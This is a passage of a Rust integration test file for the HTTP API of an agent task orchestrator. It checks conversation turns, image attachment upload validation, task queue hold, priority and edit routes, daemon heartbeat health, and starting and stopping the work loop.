5676 }
5677 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5678 .expect("serialize closed talk");
5679 assert_eq!(
5680 after_clear, before_clear,
5681 "clear must not rewrite a closed talk"
5682 );
5683 }
5684
5685 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5688
5689 #[tokio::test]
5690 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5691 let tmp = TempDir::new().expect("tempdir");
5692 let repo = tmp.path().join("repo");
5693 std::fs::create_dir_all(&repo).expect("repo dir");
5694 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5695 let f = Fixture::with_repo(repo).await;
5696 let id_a = f.post("/api/talks", None).await.json()["id"]
5697 .as_str()
5698 .unwrap()
5699 .to_owned();
5700 let id_b = f.post("/api/talks", None).await.json()["id"]
5701 .as_str()
5702 .unwrap()
5703 .to_owned();
5704
5705 let a = f
5706 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5707 .await;
5708 assert_eq!(a.status, 202, "{}", a.body);
5709 assert_eq!(a.json()["thinking"], true);
5710 let b = f
5711 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5712 .await;
5713 assert_eq!(b.status, 202, "{}", b.body);
5714 assert_eq!(b.json()["thinking"], true);
5715
5716 let listed = f.get("/api/talks").await.json();
5717 for id in [&id_a, &id_b] {
5718 let view = listed
5719 .as_array()
5720 .unwrap()
5721 .iter()
5722 .find(|talk| talk["id"] == *id)
5723 .unwrap();
5724 assert_eq!(view["thinking"], true, "{listed}");
5725 }
5726 let repeated = f
5727 .post(
5728 &format!("/api/talks/{id_a}/say"),
5729 Some(r#"{"text":"again"}"#),
5730 )
5731 .await;
5732 assert_eq!(repeated.status, 202, "{}", repeated.body);
5733 assert_eq!(repeated.json()["pending"], "again");
5734 }
5735
5736 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5739
5740 #[tokio::test]
5741 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5742 let f = Fixture::start().await;
5743 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5744
5745 let res = f
5746 .post_bytes(
5747 &format!("/api/talks/{id}/attachments"),
5748 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5749 PNG_BYTES,
5750 )
5751 .await;
5752 assert_eq!(res.status, 201, "{}", res.body);
5753 let body = res.json();
5754 assert_eq!(body["name"], "shot.png");
5755 assert_eq!(body["mime"], "image/png");
5756 assert_eq!(body["bytes"], PNG_BYTES.len());
5757 let att_id = body["id"].as_str().expect("id").to_owned();
5758 assert_eq!(
5759 att_id.len(),
5760 32,
5761 "the id must never be a client-suppliable path: {att_id}"
5762 );
5763
5764 let got = f
5765 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5766 .await;
5767 assert_eq!(got.status, 200, "{}", got.body);
5768 assert_eq!(got.header("content-type"), Some("image/png"));
5769 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5770 assert_eq!(got.bytes, PNG_BYTES);
5771 }
5772
5773 #[tokio::test]
5774 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5775 let f = Fixture::start().await;
5776 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5777
5778 let svg = f
5781 .post_bytes(
5782 &format!("/api/talks/{id}/attachments"),
5783 &[("Content-Type", "image/svg+xml")],
5784 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5785 )
5786 .await;
5787 assert!(
5788 (400..500).contains(&svg.status),
5789 "svg must be refused: {} {}",
5790 svg.status,
5791 svg.body
5792 );
5793 assert!(svg.body.contains("SVG"), "{}", svg.body);
5794
5795 let text = f
5796 .post_bytes(
5797 &format!("/api/talks/{id}/attachments"),
5798 &[("Content-Type", "text/plain")],
5799 b"just some text",
5800 )
5801 .await;
5802 assert!(
5803 (400..500).contains(&text.status),
5804 "an unlisted type must be refused: {} {}",
5805 text.status,
5806 text.body
5807 );
5808
5809 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5812 let big = f
5813 .post_bytes(
5814 &format!("/api/talks/{id}/attachments"),
5815 &[("Content-Type", "image/png")],
5816 &oversized,
5817 )
5818 .await;
5819 assert_eq!(
5820 big.status,
5821 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5822 "{}",
5823 big.body
5824 );
5825 }
5826
5827 #[tokio::test]
5828 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5829 let f = Fixture::start().await;
5830 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5831
5832 let res = f
5835 .post_bytes(
5836 &format!("/api/talks/{id}/attachments"),
5837 &[("Content-Type", "image/png")],
5838 b"<html>not a picture</html>",
5839 )
5840 .await;
5841 assert!((400..500).contains(&res.status), "{}", res.body);
5842 }
5843
5844 #[tokio::test]
5845 async fn an_unknown_attachment_id_is_a_404() {
5846 let f = Fixture::start().await;
5847 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5848
5849 let res = f
5850 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5851 .await;
5852 assert_eq!(res.status, 404, "{}", res.body);
5853 }
5854
5855 #[tokio::test]
5856 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5857 let f = Fixture::start().await;
5858 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5859
5860 let uploaded = f
5861 .post_bytes(
5862 &format!("/api/talks/{id}/attachments"),
5863 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5864 PNG_BYTES,
5865 )
5866 .await;
5867 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5868 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5869
5870 let res = f
5871 .post(
5872 &format!("/api/talks/{id}/say"),
5873 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5874 )
5875 .await;
5876 assert_eq!(res.status, 202, "{}", res.body);
5877 let queued = res.json();
5878 let turns = queued["turns"].as_array().expect("turns array");
5879 assert_eq!(
5880 turns.len(),
5881 1,
5882 "an empty body with an attachment is still a turn: {queued}"
5883 );
5884 assert_eq!(turns[0]["who"], "operator");
5885 assert_eq!(turns[0]["body"], "");
5886 let atts = turns[0]["attachments"]
5887 .as_array()
5888 .expect("attachments array");
5889 assert_eq!(atts.len(), 1);
5890 assert_eq!(atts[0]["id"], att_id);
5891 assert_eq!(atts[0]["mime"], "image/png");
5892
5893 let on_disk = f.talks().get(&id).expect("get");
5896 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5897 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5898 }
5899
5900 #[tokio::test]
5901 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5902 let f = Fixture::start().await;
5903 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5904
5905 let res = f
5906 .post(
5907 &format!("/api/talks/{id}/say"),
5908 Some(&format!(
5909 r#"{{"text":"hi","attachments":["{}"]}}"#,
5910 "a".repeat(32)
5911 )),
5912 )
5913 .await;
5914 assert!((400..500).contains(&res.status), "{}", res.body);
5915 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5916
5917 let on_disk = f.talks().get(&id).expect("get");
5918 assert!(
5919 on_disk.turns.is_empty(),
5920 "a rejected attachment id must not partially record the turn: {:?}",
5921 on_disk.turns
5922 );
5923 }
5924
5925 #[tokio::test]
5926 async fn talk_close_makes_the_talk_refuse_further_turns() {
5927 let f = Fixture::start().await;
5928 let id = seed_talk(&f, "20260904-014455-cd34", "open");
5929
5930 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5931 assert_eq!(closed.status, 200, "{}", closed.body);
5932 assert_eq!(closed.json()["status"], "closed");
5933
5934 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5936 assert_eq!(closed_again.status, 200);
5937 assert_eq!(closed_again.json()["status"], "closed");
5938
5939 let said = f
5940 .post(
5941 &format!("/api/talks/{id}/say"),
5942 Some(r#"{"text":"too late"}"#),
5943 )
5944 .await;
5945 assert_eq!(said.status, 409, "{}", said.body);
5946 }
5947
5948 #[tokio::test]
5949 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5950 let (_tmp, _repo, f) = talk_fixture().await;
5951 let id = f.post("/api/talks", None).await.json()["id"]
5952 .as_str()
5953 .expect("id")
5954 .to_owned();
5955 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5956 assert_eq!(closed.status, 200, "{}", closed.body);
5957
5958 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5959 assert_eq!(reopened.status, 200, "{}", reopened.body);
5960 assert_eq!(reopened.json()["status"], "open");
5961
5962 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5964 assert_eq!(reopened_again.status, 200);
5965 assert_eq!(reopened_again.json()["status"], "open");
5966
5967 let said = f
5968 .post(
5969 &format!("/api/talks/{id}/say"),
5970 Some(r#"{"text":"still there?"}"#),
5971 )
5972 .await;
5973 assert_eq!(
5974 said.status, 202,
5975 "a reopened talk accepts turns again: {}",
5976 said.body
5977 );
5978 }
5979
5980 #[tokio::test]
5981 async fn talk_reopen_on_an_unknown_id_is_404() {
5982 let f = Fixture::start().await;
5983 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5984 assert_eq!(res.status, 404, "{}", res.body);
5985 }
5986
5987 #[tokio::test]
5988 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5989 let f = Fixture::start().await;
5990 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5991
5992 let deleted = f.delete(&format!("/api/talks/{id}")).await;
5993 assert_eq!(deleted.status, 204, "{}", deleted.body);
5994
5995 let after = f.get(&format!("/api/talks/{id}")).await;
5996 assert_eq!(after.status, 404, "{}", after.body);
5997
5998 let listed = f.get("/api/talks").await.json();
5999 assert!(
6000 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6001 "a deleted talk must not linger in the list: {listed}"
6002 );
6003 }
6004
6005 #[tokio::test]
6006 async fn talk_delete_on_an_unknown_id_is_404() {
6007 let f = Fixture::start().await;
6008 let res = f.delete("/api/talks/nonexistent-id").await;
6009 assert_eq!(res.status, 404, "{}", res.body);
6010 }
6011
6012 #[tokio::test]
6013 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6014 let f = Fixture::start().await;
6015 let queue = f.queue();
6016 let mut task = Task::new(
6017 "spent".to_owned(),
6018 "Try again".to_owned(),
6019 PathBuf::from("/repo/magi"),
6020 Source::Human,
6021 );
6022 task.start("20260902-140502-bbbb".to_owned());
6023 task.fail("agent gave up", 9);
6024 queue.put(&mut task).expect("file the task");
6025
6026 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6027 assert_eq!(held.status, 200);
6028 assert_eq!(held.json()["status_str"], "held");
6029
6030 let released = f
6031 .post(&format!("/api/queue/{}/release", task.id), None)
6032 .await;
6033 assert_eq!(released.status, 200);
6034 assert_eq!(released.json()["status_str"], "queued");
6035 assert_eq!(
6036 released.json()["attempts"],
6037 0,
6038 "release is a real second chance, not an instant re-hold"
6039 );
6040 assert_eq!(
6041 queue.get(&task.id).expect("reload").status,
6042 TaskStatus::Queued,
6043 "the change is on disk, not only in the reply"
6044 );
6045 assert!(
6046 !f.home
6047 .path()
6048 .join("queue")
6049 .join(format!("{}.lock", task.id))
6050 .exists(),
6051 "the claim the mutation took is released again"
6052 );
6053 }
6054
6055 #[tokio::test]
6056 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6057 let f = Fixture::start().await;
6058 let queue = f.queue();
6059 let mut task = Task::new(
6060 "busy".to_owned(),
6061 "Running right now".to_owned(),
6062 PathBuf::from("/repo/magi"),
6063 Source::Human,
6064 );
6065 queue.put(&mut task).expect("file the task");
6066 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6067
6068 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6069
6070 assert_eq!(res.status, 409);
6071 assert_eq!(
6072 queue.get(&task.id).expect("reload").status,
6073 TaskStatus::Queued,
6074 "the refused hold changed nothing"
6075 );
6076 }
6077
6078 #[tokio::test]
6079 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6080 let f = Fixture::start().await;
6081 let queue = f.queue();
6082 let mut task = Task::new(
6083 "waiting on the migration".to_owned(),
6084 "Do the thing".to_owned(),
6085 PathBuf::from("/repo/magi"),
6086 Source::Human,
6087 );
6088 queue.put(&mut task).expect("file the task");
6089
6090 let held = f
6091 .post(
6092 &format!("/api/queue/{}/hold", task.id),
6093 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6094 )
6095 .await;
6096 assert_eq!(held.status, 200, "{}", held.body);
6097 assert_eq!(held.json()["status_str"], "held");
6098 assert_eq!(
6099 held.json()["hold_reason"],
6100 "waiting for 20260101-000000-aaaa to land"
6101 );
6102
6103 let listed = f.get("/api/queue").await.json();
6104 assert_eq!(
6105 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6106 "the card reads the reason off the same list route"
6107 );
6108
6109 let mut plain = Task::new(
6112 "no reason given".to_owned(),
6113 "Do another thing".to_owned(),
6114 PathBuf::from("/repo/magi"),
6115 Source::Human,
6116 );
6117 queue.put(&mut plain).expect("file the task");
6118 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6119 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6120 assert!(held_plain.json()["hold_reason"].is_null());
6121
6122 let released = f
6123 .post(&format!("/api/queue/{}/release", task.id), None)
6124 .await;
6125 assert_eq!(released.status, 200);
6126 assert!(
6127 released.json()["hold_reason"].is_null(),
6128 "a release must clear the reason so the next hold does not inherit it"
6129 );
6130 }
6131
6132 #[tokio::test]
6133 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6134 let f = Fixture::start().await;
6135 let queue = f.queue();
6136 let mut older = Task::new(
6137 "filed first".to_owned(),
6138 "x".to_owned(),
6139 PathBuf::from("/repo/magi"),
6140 Source::Human,
6141 );
6142 older.id = "20260101-000001-aaaa".to_owned();
6143 let mut newer = Task::new(
6144 "filed second".to_owned(),
6145 "x".to_owned(),
6146 PathBuf::from("/repo/magi"),
6147 Source::Human,
6148 );
6149 newer.id = "20260101-000002-bbbb".to_owned();
6150 queue.put(&mut older).expect("file older");
6151 queue.put(&mut newer).expect("file newer");
6152
6153 let before = f.get("/api/queue").await.json();
6156 assert_eq!(before[0]["id"], newer.id);
6157 assert_eq!(before[1]["id"], older.id);
6158
6159 let raised = f
6163 .post(
6164 &format!("/api/queue/{}/priority", older.id),
6165 Some(r#"{"priority":10}"#),
6166 )
6167 .await;
6168 assert_eq!(raised.status, 200, "{}", raised.body);
6169 assert_eq!(raised.json()["priority"], 10);
6170
6171 let after = f.get("/api/queue").await.json();
6172 let names: Vec<&str> = after
6173 .as_array()
6174 .unwrap()
6175 .iter()
6176 .map(|t| t["id"].as_str().unwrap())
6177 .collect();
6178 assert_eq!(names[0], older.id, "the raised task now sorts first");
6182 }
6183
6184 #[tokio::test]
6185 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6186 let f = Fixture::start().await;
6187 let queue = f.queue();
6188 let mut task = Task::new(
6189 "in flight".to_owned(),
6190 "x".to_owned(),
6191 PathBuf::from("/repo/magi"),
6192 Source::Human,
6193 );
6194 task.start("20260902-140502-bbbb".to_owned());
6195 queue.put(&mut task).expect("file the task");
6196
6197 let res = f
6198 .post(
6199 &format!("/api/queue/{}/priority", task.id),
6200 Some(r#"{"priority":9}"#),
6201 )
6202 .await;
6203 assert_eq!(res.status, 400, "{}", res.body);
6204 assert!(
6205 res.json()["error"]
6206 .as_str()
6207 .is_some_and(|e| e.contains("running")),
6208 "{}",
6209 res.body
6210 );
6211 assert_eq!(
6212 queue.get(&task.id).expect("reload").priority,
6213 0,
6214 "the refused write must not partially apply"
6215 );
6216 }
6217
6218 #[tokio::test]
6219 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6220 let f = Fixture::start().await;
6221 let queue = f.queue();
6222 let mut task = Task::new(
6223 "old title".to_owned(),
6224 "old instruction".to_owned(),
6225 PathBuf::from("/repo/magi"),
6226 Source::Agent {
6227 run: "20260101-000000-beef".to_owned(),
6228 node: "implement".to_owned(),
6229 },
6230 );
6231 task.runs.push("20260101-000000-beef".to_owned());
6232 queue.put(&mut task).expect("file the task");
6233 let created_at = task.created_at;
6234
6235 let edited = f
6236 .post(
6237 &format!("/api/queue/{}/edit", task.id),
6238 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6239 )
6240 .await;
6241 assert_eq!(edited.status, 200, "{}", edited.body);
6242 let body = edited.json();
6243 assert_eq!(body["title"], "new title");
6244 assert_eq!(body["instruction"], "new instruction");
6245 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6246 assert_eq!(body["created_at"], created_at.to_string());
6247 assert_eq!(
6248 body["source"]["kind"], "agent",
6249 "editing a task an agent filed must not turn it human: {body}"
6250 );
6251 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6252
6253 let reloaded = queue.get(&task.id).expect("reload");
6254 assert_eq!(reloaded.title, "new title");
6255 assert_eq!(reloaded.instruction, "new instruction");
6256 }
6257
6258 #[tokio::test]
6259 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6260 let f = Fixture::start().await;
6261 let queue = f.queue();
6262 let mut task = Task::new(
6263 "in flight".to_owned(),
6264 "do not touch".to_owned(),
6265 PathBuf::from("/repo/magi"),
6266 Source::Human,
6267 );
6268 task.start("20260902-140502-bbbb".to_owned());
6269 queue.put(&mut task).expect("file the task");
6270
6271 let res = f
6272 .post(
6273 &format!("/api/queue/{}/edit", task.id),
6274 Some(r#"{"title":"x","instruction":"y"}"#),
6275 )
6276 .await;
6277 assert_eq!(res.status, 400, "{}", res.body);
6278 assert!(
6279 res.json()["error"]
6280 .as_str()
6281 .is_some_and(|e| e.contains("running")),
6282 "{}",
6283 res.body
6284 );
6285 assert_eq!(
6286 queue.get(&task.id).expect("reload").instruction,
6287 "do not touch",
6288 "the refused edit must not change the file"
6289 );
6290 }
6291
6292 #[tokio::test]
6293 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6294 let f = Fixture::start().await;
6295 let queue = f.queue();
6296 let mut task = Task::new(
6297 "busy".to_owned(),
6298 "Running right now".to_owned(),
6299 PathBuf::from("/repo/magi"),
6300 Source::Human,
6301 );
6302 queue.put(&mut task).expect("file the task");
6303 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6304
6305 let priority = f
6306 .post(
6307 &format!("/api/queue/{}/priority", task.id),
6308 Some(r#"{"priority":9}"#),
6309 )
6310 .await;
6311 assert_eq!(priority.status, 409, "{}", priority.body);
6312
6313 let edit = f
6314 .post(
6315 &format!("/api/queue/{}/edit", task.id),
6316 Some(r#"{"title":"x","instruction":"y"}"#),
6317 )
6318 .await;
6319 assert_eq!(edit.status, 409, "{}", edit.body);
6320 }
6321
6322 #[tokio::test]
6323 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6324 let f = Fixture::start().await;
6325 let queue = f.queue();
6326 let mut task = Task::new(
6327 "shipped by hand".to_owned(),
6328 "merged outside the loop".to_owned(),
6329 PathBuf::from("/repo/magi"),
6330 Source::Agent {
6331 run: "20260101-000000-b455".to_owned(),
6332 node: "implement".to_owned(),
6333 },
6334 );
6335 task.runs.push("20260101-000000-b455".to_owned());
6336 task.runs.push("20260101-000000-9af4".to_owned());
6337 queue.put(&mut task).expect("file the task");
6338 let created_at = task.created_at;
6339
6340 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6341 assert_eq!(done.status, 200, "{}", done.body);
6342 assert_eq!(done.json()["status_str"], "done");
6343
6344 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6345 assert_eq!(
6346 reloaded.runs,
6347 ["20260101-000000-b455", "20260101-000000-9af4"]
6348 );
6349 assert_eq!(
6350 reloaded.source,
6351 Source::Agent {
6352 run: "20260101-000000-b455".to_owned(),
6353 node: "implement".to_owned(),
6354 }
6355 );
6356 assert_eq!(reloaded.created_at, created_at);
6357 }
6358
6359 #[tokio::test]
6360 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6361 let f = Fixture::start().await;
6366 let queue = f.queue();
6367 let mut task = Task::new(
6368 "landed while held".to_owned(),
6369 "x".to_owned(),
6370 PathBuf::from("/repo/magi"),
6371 Source::Human,
6372 );
6373 task.hold_manual(Some("waiting on 3ed9".to_owned()));
6374 queue.put(&mut task).expect("file the held task");
6375
6376 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6377 assert_eq!(done.status, 200, "{}", done.body);
6378 assert_eq!(done.json()["status_str"], "done");
6379 assert!(
6380 done.json()["hold_reason"].is_null(),
6381 "a done task cannot still be waiting on something: {}",
6382 done.body
6383 );
6384 }
6385
6386 #[tokio::test]
6387 async fn unknown_ids_are_json_not_found_on_both_stores() {
6388 let f = Fixture::start().await;
6389
6390 let run = f.get("/api/runs/nosuchrun").await;
6391 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6392
6393 assert_eq!(run.status, 404);
6394 assert_eq!(task.status, 404);
6395 assert!(
6396 run.json()["error"]
6397 .as_str()
6398 .is_some_and(|e| e.contains("run")),
6399 "the error names what was not found: {}",
6400 run.body
6401 );
6402 assert!(
6403 task.json()["error"]
6404 .as_str()
6405 .is_some_and(|e| e.contains("task")),
6406 "the error names what was not found: {}",
6407 task.body
6408 );
6409 }
6410
6411 #[tokio::test]
6412 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6413 let f = Fixture::start().await;
6414
6415 let missing = f.get("/api/health").await.json();
6416 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6417
6418 write_daemon(
6419 f.home.path(),
6420 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6421 );
6422 let stale = f.get("/api/health").await.json();
6423 assert_eq!(
6424 stale["daemon"]["running"], false,
6425 "a minute without a heartbeat is a dead daemon, not a busy one"
6426 );
6427 assert!(
6428 stale["daemon"]["stale_for_secs"]
6429 .as_i64()
6430 .is_some_and(|s| s >= 55),
6431 "staleness is reported so the UI can say how long: {stale}"
6432 );
6433
6434 write_daemon(f.home.path(), Timestamp::now());
6435 let fresh = f.get("/api/health").await.json();
6436 assert_eq!(fresh["daemon"]["running"], true);
6437 assert_eq!(fresh["daemon"]["idle"], false);
6438 assert_eq!(fresh["daemon"]["pid"], 4242);
6439 assert_eq!(fresh["daemon"]["completed"], 7);
6440 assert_eq!(
6441 fresh["daemon"]["current"][0]["task"],
6442 "20260902-140501-aaaa"
6443 );
6444 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6445 }
6446
6447 #[tokio::test]
6448 async fn the_loop_is_not_running_until_something_starts_it() {
6449 let f = Fixture::start().await;
6450
6451 let view = f.get("/api/loop").await.json();
6452 assert_eq!(view["running"], false);
6453 assert_eq!(
6454 view["owned"], false,
6455 "nobody owns a loop that does not exist: {view}"
6456 );
6457 assert_eq!(view["stopping"], false);
6458 assert_eq!(view["last_error"], Value::Null);
6459 assert_eq!(view["daemon"]["running"], false);
6460 assert_eq!(
6461 view["repo"], "/repo/magi",
6462 "the repository a start would use, named before it is started"
6463 );
6464 }
6465
6466 #[tokio::test]
6467 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6468 let f = Fixture::start().await;
6469
6470 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6471 assert_eq!(res.status, 200, "{}", res.body);
6472 let view = res.json();
6473 assert_eq!(view["running"], true);
6474 assert_eq!(
6475 view["owned"], true,
6476 "the loop the UI started is the UI's own to stop: {view}"
6477 );
6478 assert_eq!(
6479 view["merge"],
6480 Value::Null,
6481 "no override was given, so each repository's own config decides"
6482 );
6483
6484 let health = f.get("/api/health").await.json();
6488 assert_eq!(health["loop"]["running"], true, "{health}");
6489 assert_eq!(health["loop"]["owned"], true, "{health}");
6490
6491 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6492 }
6493
6494 #[tokio::test]
6495 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6496 let f = Fixture::start().await;
6497 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6498 assert_eq!(first.status, 200, "{}", first.body);
6499
6500 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6501 assert_eq!(
6502 again.status, 409,
6503 "two loops on one queue race for the same claims: {}",
6504 again.body
6505 );
6506 assert!(
6507 again.json()["error"]
6508 .as_str()
6509 .is_some_and(|e| e.contains("already running the loop")),
6510 "the refusal has to say why: {}",
6511 again.body
6512 );
6513 assert_eq!(
6514 f.get("/api/loop").await.json()["running"],
6515 true,
6516 "and the loop that was already running is untouched by it"
6517 );
6518
6519 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6520 }
6521
6522 #[tokio::test]
6523 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6524 let f = Fixture::start().await;
6525 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6526
6527 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6528 assert_eq!(
6529 res.status, 200,
6530 "the answer must not wait for the loop: a run in flight is tens of \
6531 minutes and the operator is holding a phone: {}",
6532 res.body
6533 );
6534
6535 let view = settled(&f, |v| v["running"] == false).await;
6536 assert_eq!(view["owned"], false);
6537 assert_eq!(
6538 view["stopping"], false,
6539 "a loop that has stopped is not still stopping: {view}"
6540 );
6541 assert_eq!(
6542 view["last_error"],
6543 Value::Null,
6544 "a loop that was asked to stop did not fail: {view}"
6545 );
6546
6547 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6550 assert_eq!(twice.status, 200, "{}", twice.body);
6551 }
6552
6553 #[tokio::test]
6554 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6555 let f = Fixture::start().await;
6556 write_daemon(f.home.path(), Timestamp::now());
6559
6560 let view = f.get("/api/loop").await.json();
6561 assert_eq!(view["running"], false, "not in this process: {view}");
6562 assert_eq!(view["owned"], false, "and not this process's to control");
6563 assert_eq!(
6564 view["daemon"]["running"], true,
6565 "but a loop is alive somewhere, which is what the UI must say"
6566 );
6567 assert_eq!(view["daemon"]["pid"], 4242);
6568
6569 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6570 let res = f.post("/api/loop", Some(body)).await;
6571 assert_eq!(
6572 res.status, 409,
6573 "neither button may pretend to work on someone else's loop: {}",
6574 res.body
6575 );
6576 assert!(
6577 res.json()["error"]
6578 .as_str()
6579 .is_some_and(|e| e.contains("4242")),
6580 "the refusal has to name the process the operator must go to: {}",
6581 res.body
6582 );
6583 }
6584 assert_eq!(
6585 f.get("/api/loop").await.json()["running"],
6586 false,
6587 "and the refusal started nothing"
6588 );
6589 }
6590
6591 #[tokio::test]
6592 async fn a_stale_status_file_is_not_a_foreign_owner() {
6593 let f = Fixture::start().await;
6594 write_daemon(
6595 f.home.path(),
6596 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6597 );
6598
6599 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6600 assert_eq!(
6601 res.status, 200,
6602 "a daemon killed a minute ago must not lock the loop out of its \
6603 own home for good: {}",
6604 res.body
6605 );
6606 assert_eq!(res.json()["running"], true);
6607
6608 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6609 }
6610
6611 #[tokio::test]
6612 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6613 let f = Fixture::start().await;
6614 let before = f.get("/api/health").await.json()["loop_rev"]
6615 .as_u64()
6616 .expect("a loop revision");
6617
6618 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6619
6620 let after = f.get("/api/health").await.json()["loop_rev"]
6621 .as_u64()
6622 .expect("a loop revision");
6623 assert!(
6624 after > before,
6625 "the loop is in-process state, so this counter is the only thing \
6626 that tells a second device the first one started it: {before} -> \
6627 {after}"
6628 );
6629
6630 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6631 }
6632
6633 #[tokio::test]
6634 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6635 let f = Fixture::with_loop(launch_broken).await;
6636
6637 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6638 assert_eq!(
6639 res.status, 200,
6640 "starting it is not the failure: {}",
6641 res.body
6642 );
6643
6644 let view = settled(&f, |v| v["last_error"].is_string()).await;
6645 assert_eq!(
6646 view["running"], false,
6647 "a loop that died must not read as running, or the operator has \
6648 nothing to press: {view}"
6649 );
6650 assert_eq!(view["owned"], false);
6651 assert!(
6652 view["last_error"]
6653 .as_str()
6654 .is_some_and(|e| e.contains("read-only file system")),
6655 "the phone is where a loop that died at 3am is visible: {view}"
6656 );
6657
6658 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6661 assert_eq!(again.status, 200, "{}", again.body);
6662 assert_eq!(
6663 again.json()["last_error"],
6664 Value::Null,
6665 "a fresh start does not keep showing why the last one died"
6666 );
6667 }
6668
6669 #[tokio::test]
6681 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6682 let home = TempDir::new().expect("temp home");
6683 let runs = home.path().join("runs");
6684 std::fs::create_dir_all(&runs).expect("runs dir");
6685 let ui = Ui::new(
6686 Queue::at(home.path().join("queue")),
